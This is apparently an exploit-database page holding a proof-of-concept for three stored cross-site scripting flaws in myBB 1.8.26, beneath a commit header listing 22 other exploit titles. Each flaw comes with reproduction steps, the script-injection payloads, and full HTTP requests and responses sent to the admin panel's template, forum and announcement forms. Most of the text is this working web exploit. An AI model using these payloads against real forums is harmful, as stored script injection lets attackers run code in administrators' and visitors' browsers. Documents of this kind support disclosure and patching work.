42ade901fe
22 changes to exploits/shellcodes/ghdb LISTSERV 17 - Insecure Direct Object Reference (IDOR) LISTSERV 17 - Reflected Cross Site Scripting (XSS) Router ZTE-H108NS - Stack Buffer Overflow (DoS) Router ZTE-H108NS - Authentication Bypass Boa Web Server v0.94.14 - Authentication Bypass Covenant v0.5 - Remote Code Execution (RCE) Dreamer CMS v4.0.0 - SQL Injection Shoplazza 1.1 - Stored Cross-Site Scripting (XSS) Virtual Reception v1.0 - Web Server Directory Traversal 4images 1.9 - Remote Command Execution (RCE) ClicShopping v3.402 - Cross-Site Scripting (XSS) Concrete5 CME v9.1.3 - Xpath injection Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE) Ecommerse v1.0 - Cross-Site Scripting (XSS) Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS) myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) WPForms 1.7.8 - Cross-Site Scripting (XSS) CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path Zillya Total Security 3.0.2367.0 - Local Privilege Escalation
173 lines
No EOL
4.5 KiB
Text
173 lines
No EOL
4.5 KiB
Text
# Exploit Title: myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS)
|
|
# Exploit Author: Andrey Stoykov
|
|
# Software Link: https://mybb.com/versions/1.8.26/
|
|
# Version: 1.8.26
|
|
# Tested on: Ubuntu 20.04
|
|
|
|
Stored XSS #1:
|
|
|
|
|
|
To reproduce do the following:
|
|
|
|
1. Login as administrator user
|
|
2. Browse to "Templates and Style" -> "Templates" -> "Manage Templates" -> =
|
|
"Global Templates"=20
|
|
3. Select "Add New Template" and enter payload "><img src=3Dx onerror=3Dale=
|
|
rt(1)>
|
|
|
|
|
|
// HTTP POST request showing XSS payload
|
|
|
|
POST /mybb_1826/admin/index.php?module=3Dstyle-templates&action=3Dedit_temp=
|
|
late HTTP/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
|
|
or=3Dalert(1)>&sid=3D-1&template=3D&continue=3DSave+and+Continue+Editing
|
|
|
|
|
|
// HTTP redirect response to specific template
|
|
|
|
HTTP/1.1 302 Found
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
Location: index.php?module=3Dstyle-templates&action=3Dedit_template&title=
|
|
=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&sid=3D-1
|
|
[...]
|
|
|
|
|
|
// HTTP GET request to newly created template
|
|
|
|
GET /mybb_1826/admin/index.php?module=3Dstyle-templates&sid=3D-1 HTTP/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
|
|
// HTTP response showing unsanitized XSS payload
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
X-Powered-By: PHP/5.6.40
|
|
[...]
|
|
|
|
<tr class=3D"first">
|
|
<td class=3D"first"><a href=3D"index.php?module=3Dstyle-templates&actio=
|
|
n=3Dedit_template&title=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3=
|
|
E&sid=3D-1">"><img src=3Dx onerror=3Dalert(1)></a></td>
|
|
[...]
|
|
|
|
|
|
Stored XSS #2:
|
|
|
|
To reproduce do the following:
|
|
|
|
1. Login as administrator user
|
|
2. Browse to "Forums and Posts" -> "Forum Management"
|
|
3. Select "Add New Forum" and enter payload "><script>alert(1)</script>
|
|
|
|
|
|
// HTTP POST request showing XSS payload
|
|
|
|
POST /mybb_1826/admin/index.php?module=3Dforum-management&action=3Dadd HTTP=
|
|
/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&type=3Df&title=3D"><script>a=
|
|
lert(1)</script>&description=3D"><script>alert(2)</script[...]
|
|
|
|
|
|
// HTTP response showing successfully added a new forum
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Sun, 20 Nov 2022 11:00:28 GMT
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
[...]
|
|
|
|
|
|
// HTTP GET request to fetch forums
|
|
|
|
GET /mybb_1826/admin/index.php?module=3Dforum-management HTTP/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
|
|
// HTTP response showing unsanitized XSS payload
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
[...]
|
|
|
|
<small>Sub Forums: <a href=3D"index.php?module=3Dforum-management&fid=
|
|
=3D3">"><script>alert(1)</script></a></small>
|
|
|
|
|
|
Stored XSS #3:
|
|
|
|
|
|
To reproduce do the following:
|
|
|
|
1. Login as administrator user
|
|
2. Browse to "Forums and Posts" -> "Forum Announcements"
|
|
3. Select "Add Announcement" and enter payload "><img+src=3Dx+onerror=3Dale=
|
|
rt(1)>
|
|
|
|
|
|
// HTTP POST request showing XSS payload
|
|
|
|
POST /mybb_1826/admin/index.php?module=3Dforum-announcements&action=3Dadd H=
|
|
TTP/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
|
|
or=3Dalert(1)>&starttime_day=3D20&starttime_month=3D11&starttime_year=3D202=
|
|
2&starttime_time=3D11:05+AM&endtime_day=3D20&endtime_month=3D11&endtime_yea=
|
|
r=3D2023&endtime_time=3D11:05+AM&endtime_type=3D2&message=3D"><script>alert=
|
|
(2)</script>&fid=3D2&allowmycode=3D1&allowsmilies=3D1
|
|
|
|
|
|
// HTTP response showing successfully added an anouncement
|
|
|
|
HTTP/1.1 302 Found
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
[...]
|
|
|
|
|
|
// HTTP GET request to fetch forum URL
|
|
|
|
GET /mybb_1826/ HTTP/1.1
|
|
Host: 192.168.139.132
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
|
|
101 Firefox/106.0
|
|
[...]
|
|
|
|
|
|
// HTTP response showing unsanitized XSS payload
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
|
|
erl/v5.16.3
|
|
[...]
|
|
|
|
<a href=3D"forumdisplay.php?fid=3D3" title=3D"">"><script>alert(1)</script>=
|
|
</a>
|
|
|
|
|
|
|
|
--sgnirk-590ebdc0-1da1-4f35-a731-39a2519b1c0d-- |